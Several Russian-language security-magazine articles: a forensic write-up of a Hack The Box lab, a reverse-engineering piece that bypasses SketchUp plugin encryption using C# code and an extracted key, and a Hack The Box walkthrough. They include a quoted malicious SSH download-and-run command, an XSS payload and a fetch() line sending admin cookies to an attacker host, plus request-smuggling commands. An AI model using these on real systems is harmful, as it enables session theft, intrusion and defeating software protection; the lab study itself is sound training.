рить собственные библиотеки в чужие процессы. Для обнаружения таких век‐
торов нужно обладать упорством, верой в себя и щепоткой удачи.

https://bohops.com/2023/11/27/abusing-net-core-clr-diagnostic-features-cve-2023-33127/
https://gist.github.com/bohops/c7bf35ee7ff593a3a76014f7f87abb30
https://github.com/MayerDaniel/profiler-lateral-movement
https://xakep.ru/2024/10/10/ugon-com-kak-rabotaet-krazha-sessii-cherez-mehanizm-com/
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ВЗЛОМ

Сегодня на  примере расследования инци‐
дента я покажу, как  иногда можно найти
улики в кеше RDP. Изучив закешированные
данные удаленного графического подклю‐
чения, мы буквально увидим, что делал зло‐
умышленник.

Упражняться мы будем на  лабораторной работе 
 из  раздела Sherlocks популярного обучающего ресурса Hack

The Box.

OpTinselTrace24-1: Sneaky
Cookies

OPTINSELTRACE24-1: SNEAKY COOKIES

Из описания лабы узнаём, что мы будем работать со скомпрометированной
учетной записью пользователя Bingle Jollybeard, который пытался настроить
свою систему для удаленного доступа.

«

»

Киберзлодей Крампус проник в цифровую инфраструктуру мастерской
Санты. После прошлогоднего инцидента Санта сказал своей команде
быть начеку и  быть готовыми к  социальной инженерии. Системному
администратору он поручил усилить безопасность. Бингл Джоллиберд,
разработчик приложений, который будет работать удаленно с Южного
полюса, посетил мастерскую, чтобы настроить свою систему для уда-
ленного доступа. Его рабочая станция была загадочным образом
скомпрометирована, что может дать Крампусу возможность творить
беспредел. Разберитесь, что произошло, используя полученные с хос-
та артефакты.

Нам предоставлены данные диска C, на  котором есть учетка пользователя,
логи и prefetch-файлы.

Для начала, чтобы облегчить себе задачу, прогоним папку C через .KAPE

Справка: KAPE
 — это мощная утилита для цифровой

криминалистики. Она позволяет быстро собирать и анализировать цифровые
артефакты с  устройств. Ее автор Эрик Циммерман  — известный эксперт
в  области DFIR. KAPE оптимизирует процессы сбора данных, позволяя
находить критически важные артефакты за считаные минуты. Инструмент под‐
держивает гибкую настройку с помощью модулей для сбора (Targets) и ана‐
лиза (Modules), что делает его универсальным и удобным для расследования
инцидентов, проверки на  компрометацию и  анализа подозрительной
активности. KAPE широко применяется в  судебной экспертизе, корпоратив‐
ной безопасности и реагировании на инциденты благодаря своей скорости,
точности и способности обрабатывать огромные объемы данных.

Kroll Artifact Parser and Extractor (KAPE)

kape.exe --msource "C:\путь к папке\TRIAGE-L3-BELLS" --module 
!EZParser --mdest "С:\путь к папке с результатом" --trace --debug


KAPE собрал нам все необходимые для  расследования данные в  удобном
формате. Он распарсил все логи, файлы предварительной загрузки и некото‐
рые кусты реестра. Заодно конвертировал их в формат CSV.

INFO

Дальше в  статье я буду параллельно приводить
примеры использования других инструментов
на  случай, если ты захочешь повторить иссле‐
дование без KAPE.

ФИШИНГ

Чтобы ответить на  первый вопрос лабораторной работы, нам нужно найти
подозрительные файлы в  пользовательском каталоге. Давай обратимся
к  исходной папке C, где в  директории Documents пользователя Bingle
Jollybeard лежит файл .christmas_slab.pdf

Подозрительно здесь лишь необычное отображение ярлыка для  формата
PDF. При детальном изучении оказывается, что это не PDF, а ярлык (.lnk).

Злоумышленник использовал этот файл для  фишинга. Ссылка указывает
на такой адрес:

C:\Windows\System32\OpenSSH\ssh.exe -o "PermitLocalCommand=yes" -o 
"StrictHostKeyChecking=no" -o "LocalCommand=scp root@17.43.12.31:/
home/revenge/christmas-sale.exe c:\users\public\. && c:\users\public\
christmas-sale.exe" revenge@17.43.12.31


Здесь запускается SSH, чтобы загрузить с  управляющего сервера и  выпол‐
нить файл .christmas-sale.exe

Давай узнаем время запуска скачанного исполняемого файла. С  помощью
утилиты  откроем результат работы KAPE.Timeline Explorer

То же можно сделать самостоятельно — при помощи утилиты :PECmd

PECmd.exe -d "путь/к/папке/с/файлами/предварительной/загрузки" --
csv . --csvf наш_ксв_файл.csv

В Timeline Explorer фильтруем  по  имени

исполняемого файла — .

PECmd_Output_Timeline.csv
christmas-sale.exe

Итак, для  получения первоначального доступа злоумышленник использовал
подтехнику  по MITRE ATT&CK: с помощью социальной инженерии
убедил пользователя открыть файл, запуск которого привел к  выполнению
вредоносного кода. В  нашем случае этот файл  — ярлык 

.

T1204.002

christmas_slab.
pdf.lnk

Приступим к  изучению этого файла. Мы можем узнать название машины
злоумышленника, на которой был создан ярлык. С извлечением метаданных
нам поможет инструмент :LECmd

LECmd.exe -f "путь к файлу\christmas_slab.pdf.lnk" --
csv "путь к папке с результатом"


Откроем полученный CSV-файл в Timeline Explorer и посмотрим поле 
.

Machine
ID

Продолжение статьи
→

https://t.me/k0n70r4
https://app.hackthebox.com/sherlocks/OpTinselTrace24-1:%20Sneaky%20Cookies
https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape
https://attack.mitre.org/techniques/T1204/002/


УРОКИ ФОРЕНЗИКИ
ИЩЕМ СЛЕДЫ АТАКИ В RDP BITMAP

CACHE

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ПРИМЕНЕНИЕ BITS

Получив доступ к системе, злоумышленник проверил список запущенных про‐
цессов. Давай узнаем, когда он это сделал, из prefetch-файлов. Отфильтруем
то, что нам выдаст PECmd, по строке  (это системная утилита,

которая отображает список запущенных процессов на локальном или на уда‐
ленном компьютере).

tasklist.exe

В этот же период, но  немного раньше можно заметить запуск 

. Bitsadmin  — это  утилита командной строки, которая используется
для  создания, скачивания или  отправки заданий и  отслеживания хода их
выполнения. Ее можно использовать и во вредоносных целях.

bitsadmin.
exe

Проверим наше предположение об использовании системы BITS. Для этого
откроем через Timeline Explorer файл , полученный

через KAPE. Утилита  парсит журналы событий Windows и сохраня‐
ет всё в один файл формата CSV. Можем использовать эту тулзу и без KAPE:

EvtxECmd_Output.csv
EvtxECmd

EvtxECmd.exe -d "C:\путь к папке с .evtx-файлами" --csv "C:\путь к 
папке с выводом" --csvf название_файла.csv


Фильтруем столбец Provider по  слову bits и  находим подозрительные обра‐
щения через HTTP  — поле Payload Data3  явно говорит нам о  том, что про‐
исходило что‑то нехорошее.

Ищем эту технику в  классификаторе: «Злоупотребление задачами BITS
для  выполнения вредоносного кода или  фоновых задач»,  по  MITRE
ATT&CK.

T1197

INFO

Подробнее об  атаках на  BITS я писал в  статье
«

».
Клочки по  закоулочкам. Как  устроена служба

BITS в Windows, и как ее атакуют

Похоже, злоумышленник украл файл с настройками VPN для Bingle Jollybeard,
а затем подключился к рабочей станции Bingle через RDP.

Посмотрим, есть ли файл с  настройками OpenVPN среди недавних фай‐
лов. Для этого заглянем сюда:

C\Users\Bingle Jollybeard\AppData\Roaming\Microsoft\Windows\Recent


Отфильтруем файл с логами по Event Id 1149 и можем посмотреть время уда‐
ленной аутентификации пользователя, а также название хоста.

Был загружен файл . Давай попробуем получить его хеш

MD5. Для этого можно использовать  — эта утилита парсит

файл реестра  и выдает информацию о запускаемых в системе

приложениях.

candydandy.exe
AmcacheParser

Amcache.hve

AmcacheParser.exe -f "C:\путь к\Amcache.hve" --
csv "C:\путь к папке с выводом"


Теперь открываем  в  Timeline

Explorer и  находим в  нем  вместе с  хешем SHA-1  —
.

Amcache_UnassociatedFileEntires.csv
candydandy.exe

d1f7832035c3e8a73cc78afd28cfd7f4cece6d20

Можем пробить этот хеш через VirusTotal и  заодно узнать MD5  —
это  .e930b05efe23891d19bc354a4209be3e

Также узнаём, что семейство вредоноса — trojan.mimikatz.

Логи  могут помочь определить общий объем трафика, который про‐

ходил во  время соединения с  C2-сервером через стейджер 
.

SRUM

christmas-
sale.exe

INFO

SRUM, или  монитор использования системных
ресурсов,  — это  функция современных систем
Windows (8  и  более поздние), предназначенная
для  отслеживания запуска приложений, исполь‐
зования сети и  состояния энергопотребления
системы.

Снова используем Timeline Explorer. Открываем
 и  фильтруем по  имени C2-клиента.

Для получения информации по общему объему трафика в килобайтах нужно
сложить значения в байтах и поделить на 1024.

SrumECmd_NetworkUsages_Output.csv

Итак, известно, что злоумышленник добавил на рабочей станции новую учет‐
ную запись пользователя и наделил ее высокими привилегиями. Обратимся
к журналам событий, отфильтруем их по времени атаки и Event Id 4720 (соз‐
дание учетной записи пользователя).

СЕССИЯ RDP

Проверить, происходило ли горизонтальное перемещение в другие системы,
можно, отсортировав журналы событий безопасности по  идентифика‐
тору 4648 («Вход в систему с использованием явных учетных данных»).

INFO

Связка Mimikatz + lateral movement как  раз
хорошо обнаруживается событиями с  ID 4624,
4648, 4673, 4688.

Давай зададим период атаки и фильтр Event Id = 4648, чтобы найти имя поль‐
зователя, которое применялось для перемещения в другую систему.

Если злоумышленник использует RDP, это несколько осложняет расследова‐
ние. Никаких существенных артефактов, кроме логов, мы не найдем. Или най‐
дем? Кое‑что иногда получается подсмотреть в кеше растровых изображений
RDP Bitmap Cache.

RDP Bitmap Cache используется клиентом и сервером для хранения рас‐
тровых изображений. Каждый кеш содержит множество «плиток» заданного
размера. Когда одна плитка заполняется, алгоритм кеширования автомати‐
чески создает новую.

Изображения хранятся локально в  клиентской системе, чтобы ускорить
работу графического сеанса и  уменьшить задержку. Вместо того чтобы
заново загружать изображение, иногда можно просто взять его из кеша.

Найти сам кеш, начиная с версий Windows 7, можно по такому пути:

C:\Users\<USER>\AppData\Local\Microsoft\Terminal Server Client\Cache\


Первым в  этой папке будет файл , а  за ним  — множество

, где x  — цифры. Например, , 
и так далее.

bcache.bmc
Cachexxxx.bin Cache0000.bin Cache0001.bin

Для парсинга кеша RDP воспользуемся утилитой . Это  опен‐

сорсный инструмент, написанный на Python, что позволяет запускать его как в
Linux, так и в Windows.

BMC Tools

./bmc-tools.py -s C:\путь к\cache0000 -d C:\путь к\cache0000_parsed -
b


Опция  помогает создать небольшой коллаж из найденных фрагментов, что
облегчает просмотр.

-b

Внимательно изучив получившиеся в  результате картинки, можем узнать
некоторые подробности о том, что делал наш злодей.

Сопоставляя фрагменты файлов BMP, видим, что он пытался загрузить
инструмент внутренней разведки Advanced IP Scanner.

Также он через браузер скачал файл cookies.exe.

А это, похоже, фрагменты каталога, откуда он скачивал файл.

Также можем заметить, что для  закрепления в  системе через реестр зло‐
умышленник создал задачу , которая запускает скачан‐
ный ранее файл.

christmaseve_gift

Вот мы и собрали все нужные данные!

ВЫВОДЫ

Итак, злоумышленник скомпрометировал учетную запись Bingle Jollybeard
с помощью социальной инженерии. В каталоге пользователя мы нашли вре‐
доносный ярлык, который использовался для загрузки по SSH и запуска фай‐
ла . Затем злоумышленник использовал BITS для  ска‐

чивания дополнительных файлов и  украл настройки VPN, что позволило ему
подключиться к системе Bingle через RDP.

christmas-sale.exe

Крампус загрузил  (идентифицированный

как  trojan.mimikatz) для  кражи учетных данных. Логи показали, что он создал
новую учетную запись с  повышенными привилегиями и  использовал RDP
для горизонтального перемещения. Анализ кеша RDP выявил, что злоумыш‐
ленник скачал , а  также инструмент Advanced IP Scanner.

Для  закрепления в  системе он создал задачу  через
реестр.

candydandy.exe

cookies.exe
christmaseve_gift

Это дает нам полную картину атаки.

https://attack.mitre.org/techniques/T1197/
https://xakep.ru/2024/09/06/bits-misuse/
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ВЗЛОМ

Скриптовый язык Ruby используется
для  написания плагинов во  многих прик‐
ладных программах. Одна из  них  — 3D-
редактор SketchUp. Сегодня мы изучим
внутренности таких расширений, зашиф‐
рованных с  использованием технологии
RBE, и  напишем свой конвертер из  фор‐
мата RBE в RB.

Продолжим нашу любимую тему разных новомодных скриптовых языков. Раз
уж в  позапрошлой статье мы , то в  этот раз оста‐
новимся на другой его инкарнации.

вспомнили о  языке Ruby

Изначально многие скриптовые языки разрабатывались именно как языки
для описания логики расширений популярных программ и служили для авто‐
матизации несложных рутинных действий. Использовать их должны были
простые пользователи, не  слишком искушенные в  программировании.
Некоторые языки служат в  этом качестве до  сих пор (подобные случаи опи‐
саны в статьях « » и «

»), что
порождает спрос на  защиту их открытого кода от  исследования и  модифи‐
кации.

Безумный Max. Как ломают плагины для 3ds Max Патчим
JSXBIN. Как  править бинарные скрипты Adobe без  перекомпиляции

Ruby в  этом плане не  исключение: он активно используется для  прог‐
раммирования расширений и  плагинов. Сегодня мы рассмотрим его при‐
менение в  программе . SketchUp  — это  популярный пакет соз‐
дания  3D-графики «для чайников», так сказать  3ds Max на  минималках.
За  время своего существования он успел побывать в  собственности
у Google, а потом был продан по непонятным причинам.

SketchUp

Так уж повелось, что языковой основой скриптового API (описание инте‐
ресующиеся могут найти ) стал именно язык
Ruby, на котором можно писать как простецкие макросы, хранящиеся в  тек‐
стовых файлах со  стандартным расширением , так и  продвинутые

кросс‑платформенные плагины с  расширением . При  создании этого
формата программисты SketchUp особо не  заморачивались и  пошли
по  самому простому проторенному пути  — плагины являются, по  сути, ZIP-
архивами, в  которых, помимо классов Ruby, может содержаться множество
других файлов: тексты, изображения, даже нативные бинарники под  разные
платформы с расширениями  и  . Их можно сертифицировать (для

авторизованных разработчиков), а можно забить на это и использовать так.

на официальном сайте SketchUp

.rb
.rbz

.so .bundle

Разумеется, программисты продумали и встроили механизм защиты кода
классов от исследования. Здесь авторы тоже поленились и вместо того, что‐
бы (как многие продвинутые разработчики) преобразовать Ruby-текст
в шитый код виртуальной машины, не мудрствуя лукаво просто пошифровали
его стандартным криптоалгоритмом. Первоначально для этого был придуман
формат  («scrambled»)..rbs

Несмотря на то что процесс шифрования выполнялся на удаленном сер‐
вере разработчиков, алгоритм достаточно быстро стал секретом Полиши‐
неля. Более того, энтузиасты написали целый выводок «скрамблеров/анс‐
крамблеров» (например, ), ведь шифрование текста проводи‐
лось c использованием банального симметричного алгоритма Blowfish,
который допускает криптование в обе стороны.

RbsUnscrambler

В связи с  этим лет семь назад был внедрен новый формат шифрования
кода  — RBE, информации о  реверсе которого в  широком доступе пока что
не наблюдается. Постараемся исправить такое упущение и исследуем устой‐
чивость этого формата к реверсу и патчингу.

Итак, заканчиваем с  теорией и  переходим к  практике. Допустим, у  нас
имеется некий плагин к  SketchUp в  формате . Распаковав его

при помощи WinZip, видим множество файлов классов с расширением .

Бинарное содержимое таких файлов для  исследований не  подходит  —
как  видишь, внутри высокоэнтропийный белый шум, отличающийся от 

только версией сигнатуры RBS2.0.

.rbz
.rbe

.rbs

Поскольку конвертеры из  формата RB в  RBE и  обратно, как  я уже говорил,
в  публичном доступе пока отсутствуют, попробуем отследить расшифровку
такого кода при загрузке плагина в динамике. Путем несложных манипуляций
с ProcMon определяем, что при запуске SketchUp он загружает распакован‐
ные классы и прочие библиотеки плагина из этого каталога:

C:\Users\...\AppData\Roaming\SketchUp\SketchUp...\SketchUp\Plugins


Попробуем поймать эту загрузку при  помощи нашего любимого отладчика
x64dbg.

Обычно в подобных случаях мы ставим точки останова на системных фун‐
кциях открытия и  чтения файлов  и  , однако этот путь

внезапно оказывается очень тернистым. SketchUp, как  и  3ds Max, в  опре‐
деленной степени сражается с  отладчиком  — при  долгой отладке, многок‐
ратном срабатывании точек останова и даже аттаче к готовому запущенному
процессу он так и норовит «замерзнуть», что откровенно вымораживает уже
нас самих. Чтобы не тратить собственные нервные клетки, попробуем зайти
с другой стороны.

CreateFile ReadFile

Как я уже упоминал, 6-байтовые сигнатуры закриптованных файлов
хорошо известны (RBS1.0 для   и RBS2.0 для  ). Попробуем поискать

строку RBS2.0  по  всем загруженным модулям пакета SketchUp. Довольно
быстро мы находим ее в  главном модуле  по  .
Открыв дизассемблированный код в  IDA, мы убедимся, что алгоритм шиф‐
рования на этот раз RSA + AES.

.rbs .rbe

SketchUp.exe RVA=0x1D72F9C

Перейдя по  цепочке ссылок на  эту строку, обнаруживаем функцию, возвра‐
щающую тип шифрования Ruby-кода: .sub_141347340

Как видим, возвращаемое значение  соответствует старому типу шиф‐
рования , а 2 — новому . Изучив ссылки на  , находим

функцию, расшифровывающую этот самый тип 2, — .

1
.rbs .rbe sub_141347340

sub_141347F20

Открыв реализацию этой функции, мы видим подтверждение наших пред‐
положений: для  расшифровки кода SketchUp обращается к  Microsoft
CryptoAPI, вызывая криптопровайдер Microsoft Enhanced RSA and  AES
Cryptographic Provider, при помощи которого и расшифровывает содержимое
файла стандартной библиотечной функцией .CryptDecrypt

Проверим наше предположение. Открываем отладчик x64dbg и  ставим две
точки останова: одну на начало функции расшифровки , а вто‐

рую — на вызов . Перезапускаем SketchUp из‑под отладчика —

в этом случае он не крашится, не «замерзает», а нормально останавливается
при  создании новой модели в  первой точке останова на  входе

.

sub_141347F20
CryptDecrypt

sub_141347F20

Как видишь, при входе в эту функцию в локальном стеке  лежит пол‐
ный путь к расшифровываемому модулю . Запускаем программу до сле‐

дующей точки останова на  . По  коду видно, что адрес буфера

расшифровки находится в   (или ). Смотрим содержимое этого
буфера после отработки  и  убеждаемся, что там находится

искомый расшифрованный код макроса.

rsp+0x48
.rbe

CryptDecrypt
rbp [rsp+20]
CryptDecrypt

В принципе, самые ленивые могут дальше не  читать, поскольку задача
решена  — мы нашли способ дампить расшифрованные скрипты из‑под
отладчика при  загрузке. Для  этого достаточно просто смотреть имена rbe-
модулей на  входе в   и  дампить их расшифрованное содер‐

жимое в  соответствующие текстовые файлы . Конечно, при  большом
количестве подключенных плагинов и  зашифрованных файлов делать
это  достаточно муторно, но  можно автоматизировать процесс, к  примеру
написав скрипт для  x64dbg. Но  мы пойдем другим путем и, раз алгоритм
известен и  прост, попробуем написать свой собственный конвертер из 

в  .

sub_141347F20
.rb

rbe
rb

По сути, для  реализации задуманного у  нас осталось всего одно отсутс‐
твующее звено  — публичный ключ для  расшифровки. Внимательно всмот‐
ревшись в  псевдокод, мы видим, что за  ключ отвечает функция

. Рассмотрим ее реализацию.sub_141348080

Несложно заметить, что выделенная строка вызывает функцию
 из  библиотеки , которая загружает из  BLOB

публичный ключ, передаваемый затем в   для  расшифровки.

Чтобы минимизировать усилия по  дальнейшему реверсу (а также сократить
количество используемых в  нашем коде функций CryptoAPI), слегка смух‐
люем  — поставим точку останова на  вызов  и  подсмотрим

содержимое BLOB, из которого она загружает публичный ключ.

CryptImportKey Advapi32.dll
CryptDecrypt

CryptImportKey

Погуглив параметры , мы видим, что длина BLOB
при  ее вызове находится в  регистре , а  указатель на  него  —

. Данные BLOB выделены в дампе:

функции CryptImportKey
r8=0x2c

rdx=0x138C2DC28B0

08 02 00 00 10 66 00 00 20 00 00 00 39 6E 67 EF F4 95 12 8C 39 21 4A 
B4 F5 BA EC F8 E2 91 EC 78 A3 E8 2B 8B 94 23 0D 0A 84 2E FF 18


Теперь нам остается только собрать полученный код в  модуль C#. Для  наг‐
лядности до  предела упростим код и  пренебрежем проверкой ошибок.
При желании ты сможешь самостоятельно допилить эту программу до товар‐
ного вида. Я использовал всего три функции CryptoAPI
( ,  и  ), итоговый код

заготовки простейшего консольного приложения, декодирующего  в  ,
выглядит примерно так:

CryptAcquireContext CryptImportKey CryptDecrypt
rbe rb

 using System;

 using System.IO;

 using System.Runtime.InteropServices;

 namespace rbeDecode
{
    class Program
   {

          [DllImport("advapi32.dll", SetLastError = true)]
           public static extern bool CryptImportKey(

                    IntPtr hProv,
                    Byte[] pbData,

                    Int32 dwDataLen,
                    IntPtr hPubKey,
                    Int32 dwFlags,

                     ref IntPtr phKey);

          [DllImport("advapi32.dll", SetLastError = true)]

           public static extern bool CryptDecrypt(
                    IntPtr hKey,
                    IntPtr hHash,

                    int Final,
                    uint dwFlags,

                    byte[] pbData,
                     ref uint pdwDataLen);

          [DllImport("advapi32.dll", SetLastError = true)]

           public static extern bool CryptAcquireContext(
             ref IntPtr hProv,

            string pszContainer,
            string pszProvider,

            uint dwProvType,
            uint dwFlags);

          static void Main(string[] args)
       {

            if (args.Length!=2)
           {
               Console.WriteLine("Syntax: rbeDecode file.rbe file.
rb");
               return;
           }

               IntPtr phProv = new IntPtr();
               IntPtr handleSessionKey = new IntPtr();

   
  

           CryptAcquireContext(ref phProv, null, "Microsoft 
Enhanced RSA and AES Cryptographic Provider", 0x18, 0);

           
           
           
           
       

           byte[] blob = new byte[] { 0x08, 0x02, 0x00, 0x00, 0x10,
0x66, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x39, 0x6E, 0x67, 0xEF,
0xF4, 0x95, 0x12, 0x8C, 0x39, 0x21, 0x4A, 0xB4, 0xF5, 0xBA, 0xEC,
0xF8, 0xE2, 0x91, 0xEC, 0x78, 0xA3, 0xE8, 0x2B, 0x8B, 0x94, 0x23,
0x0D, 0x0A, 0x84, 0x2E, 0xFF, 0x18 }; // BLOB data

                 CryptImportKey(phProv, blob, 0x2c, (IntPtr)null, 0, ref
handleSessionKey);

                byte[] buf = File.ReadAllBytes(args[0]); // Read rbe 
file

                 byte[] crypted = new byte[buf.Length - 6];
           

   
           for (int i = 0; i < crypted.Length; i++) crypted[i] = buf
[i + 6]; // Skip header

              uint bytesize = (uint)crypted.Length;
    

    
           CryptDecrypt(handleSessionKey, IntPtr.Zero, 1, 0, crypted
, ref bytesize); // Decrypt code

            File.WriteAllBytes(args[1],crypted); // Write rb file
       }
   }
}

Итак, мы только что убедились, что новая защита кода Ruby в  плагинах
SketchUp тоже оберегает его лишь от  честных людей и  обойти ее, особо
не  напрягаясь, может любой начинающий хакер, умеющий работать с  IDA
и  x64dbg. Единственное преимущество этой защиты перед  старым «скрам‐
блером» заключается в  том, что из‑за несимметричности алгоритма RSA
и отсутствия доступа к секретному ключу нельзя просто так взять и перешиф‐
ровать патченный раскодированный класс обратно в  формат . Хотя,
по сути, это и не нужно, ведь всегда можно оставить расшифрованный файл

 внутри пакета без ущерба для функциональности.

rbe

rb
Просто удивительно, что за  семь лет после появления этой технологии

сеть не  заполнилась туториалами по  реконструкции и  патчингу многочис‐
ленных плагинов SketchUp. Сильно подозреваю, что это  связано с  общим
уровнем квалификации типичных потребителей этой программы, ведь более
продвинутые специалисты предпочитают профессиональные решения.

Тем же, кто планирует писать собственные серьезные коммерческие пла‐
гины под этот пакет, советую не полагаться на встроенную защиту SketchUp,
а использовать собственную фантазию и смекалку для обфускации кода Ruby
или встраивания дополнительных самописных крипторов и защит в нативные
библиотеки плагина.

https://xakep.ru/2024/12/05/ruby-reverse/
https://xakep.ru/2022/10/28/3ds-max-plugin/
https://xakep.ru/2020/10/08/jsxbin-crack/
https://www.sketchup.com/
https://ruby.sketchup.com/
https://github.com/junaramaro/rbs_unscrambler/tree/master
https://learn.microsoft.com/ru-ru/windows/win32/api/wincrypt/nf-wincrypt-cryptimportkey
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ВЗЛОМ

Сегодня мы проэксплуатируем сложную
цепочку уязвимостей в  веб‑приложении.
Через Web Cache Poisoning подгрузим
собственный скрипт на  JS и  заюзаем XSS
для  кражи cookie администратора. Затем
используем H2 Request Smuggling
для  получения доступа к  CPR, где при‐
меним LFI, чтобы извлечь приватные дан‐
ные. Повысим привилегии через инъекцию
команд ОС в сервис логирования.

Наша цель — получение прав суперпользователя на машине Caption с учеб‐
ной площадки . Уровень задания — сложный.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.33    caption.htb


И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел три открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Werkzeug Python 3.10;•
8080 — сервис GitBucket.•

На первом сайте нас встречает форма авторизации, с  которой мы пока
ничего сделать не можем, а вот на GitBucket нам доступно два проекта.

Главная страница сайта

Проекты GitBucket

ТОЧКА ВХОДА

Изучаем первый проект Caption Portal.

GitBucket — Caption Portal

В первую очередь нас интересует история коммитов.

История коммитов Caption Portal

Просматриваем каждый коммит отдельно и  в коммите с  описанием Update
access control находим учетные данные пользователя .margo

Коммит Update access control

С полученными учетными данными авторизуемся на  сайте, работающем
на 80-м порте.

Главная страница сайта

Продолжение статьи
→
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ТОЧКА ОПОРЫ

Просматриваем страницы, указанные в меню сайта, и доходим до страницы 

, доступ к которой ограничен правилами.

/
logs

Ошибка на странице /logs

Просмотрим данные, которые возвращает сервер. Это можно сделать, нап‐
ример, через Burp Proxy.

Запрос и ответ сервера

Среди заголовков HTTP-ответа есть , который говорит нам о том, что
на веб‑сервере используется кеш, а также заголовок , из которого можно

понять, что мы имеем дело с  HTTP-прокси Varnish 6.6. Давай попробуем
получить доступ к закрытой странице через .

x-cache
via

h2csmuggler

Справка: h2csmuggler
  — это  инструмент для  исследования и  эксплуатации уязвимос‐

тей, связанных с  HTTP/2  и  HTTP/1.1 (h2c) smuggling. Он используется
для  проверки на  наличие уязвимостей, при  которых злоумышленник может
внедрить и  скрыть вредоносные запросы внутри легитимного трафика
HTTP/2. Затем эти запросы интерпретируются прокси‑сервером или  бэкен‐
дом как допустимые запросы HTTP/1.1.

h2csmuggler

Инструмент работает за счет формирования специально сконструирован‐
ных HTTP/2-запросов, которые при неправильной обработке приводят к ата‐
кам типа HTTP Request Smuggling. Это  может дать возможность обойти
механизмы аутентификации, исполнить несанкционированные запросы
или украсть данные.

 

  GET 

python3 h2csmuggler.py -H 'Cookie: 
session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VybmFtZSI6Im1hcmdvIiwiZXhwIjoxNzMxMDUxMDQ5fQ.
ZQKvMsikxrrqocadq6_garWdQhfwb6m2E_7GZu7cfg0' -X -x http://
caption.htb http://caption.htb/logs


Ответ сервера

Запрос к  целевой странице был доставлен, а  значит, уязвимость HTTP
Request Smuggling присутствует.

Справка: HTTP Request Smuggling
HTTP Request Smuggling  — это  вид веб‑атаки, при  которой злоумышленник
эксплуатирует несовместимость обработки HTTP-запросов между разными
компонентами системы, например прокси‑сервером и  сервером приложе‐
ний. Атака осуществляется путем отправки специально сконструированных
HTTP-запросов, которые интерпретируются по‑разному на  каждом уровне
обработки. Это может привести к тому, что скрытые запросы обрабатываются
сервером как легитимные.

Последствия таких атак включают обход механизмов безопасности (нап‐
ример, брандмауэров или  аутентификации), кражу сессий, внедрение вре‐
доносного контента или  выполнение несанкционированных операций. Уяз‐
вимость часто возникает из‑за неправильной обработки заголовков, таких
как  Content-Length и  Transfer-Encoding, что используется для  скрытия и  раз‐
деления запросов.

Но так как доступа все равно нет, попробуем найти другой вектор. На стра‐
нице  есть сообщение, что админ активно следит
за всеми проблемами.

Firewall Management

Страница Firewall Management

Если просмотреть запросы в  , можно увидеть еще один запрос

к  скрипту , которому в  параметре  передается адрес

.

Burp History

lib.js utm_source
http://internal-proxy.local

Запросы к Burp History

Cache Poisoning
Попробуем заставить сервер закешировать данные. Начнем проверку
с  популярного заголовка , в  котором передадим случай‐

ные данные. В ответе сервера можно увидеть заголовок , показывающий
возраст кеша в  секундах. Максимальное время жизни кеша передается
в заголовке  в параметре .

X-Forwarded-Host
age

cache-control max-age

Запрос с заголовком X-Forwarded-Host

Если запрос был закеширован, при  переходе на  страницу 

в  параметрах загружаемого скрипта можно увидеть адрес, переданный
в заголовке .

/firewalls

X-Forwarded-Host

Ответ сервера

Таким образом, мы можем контролировать некоторые данные, присутству‐
ющие в ответе сервера. А это путь к эксплуатации XSS-уязвимости.

XSS
Наш адрес присутствует внутри тегов  и  . Давай попробуем зак‐

рыть эти теги и вставить свой , который будет загружать файл с нашего

сервера.

script link
script

"><script src="http://10.10.16.31:8000"></script><"

Чтобы отлавливать запрос, нам нужно запустить листенер:

nc -nlvp 8000


Затем переходим к  , переносим запрос с  заголовком 

 в   и указываем в заголовке нашу нагрузку.

Burp History X-
Forwarded-Host Burp Intruder

Burp Intruder — вкладка Positions

В качестве нагрузки устанавливаем Null payloads и отмечаем опцию Continue
indefinitely, чтобы запросы производились до тех пор, пока мы не остановим
Intruder.

Burp Intruder — вкладка Payloads

Запускаем Intruder и спустя примерно минуту в окне листенера видим запрос.

Результат перебора

Листенер nc

Теперь изменим нагрузку так, чтобы она загружала конкретный JS-файл.

"><script src="http://10.10.16.31:8000/xss.js"></script><"

Запустим веб‑сервер:

python3 -m http.server


И создадим файл  с нагрузкой, которая будет присылать cookie поль‐

зователя.

xss.js

fetch("http://10.10.16.31:8000/"+document.cookie);

Повторяем трюк с  Burp Intruder и  получаем с  удаленного сервера запросы,
в которых переданы куки.

Логи веб‑сервера

H2 Request Smuggling
С полученным идентификатором сессии повторяем H2 Request Smuggling
и получаем доступ к закрытой странице ./logs

 

  GET 
url

python3 h2csmuggler.py -H 'Cookie: 
session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMxMDU3MjI1fQ.
_PhWOLmYyCvWIPW0q6WbgY7zz7hkGGMoRSLHf3yTeGg' -X -x http://
caption.htb http://caption.htb/download\? \=http://127.0.0.1:3923/
ssh_logs


Ответ сервера

В коде страницы находим ссылки на различные логи.

Содержимое страницы

Попробуем получить файл .ssh_logs

Содержимое файла ssh_logs

Я также попробовал найти обход каталога и получить доступ к другим файлам
в  системе, но  безрезультатно. Поэтому открываем страницу через браузер
и видим какое‑то веб‑приложение.

Страница в браузере

CPR — обход каталога
В исходном коде страницы можно найти ссылки на каталог . Попробуем
определить, что за система используется, а потом поискать готовые экспло‐
иты для нее.

